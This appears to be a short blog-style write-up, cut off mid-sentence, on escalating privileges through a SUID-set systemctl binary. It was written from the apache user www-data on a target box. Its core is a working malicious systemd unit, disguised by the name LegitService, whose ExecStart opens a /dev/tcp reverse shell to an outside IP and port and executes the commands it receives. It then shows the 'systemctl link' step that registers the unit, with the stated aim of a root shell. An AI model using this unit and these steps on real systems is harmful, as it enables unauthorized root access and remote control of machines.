Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The
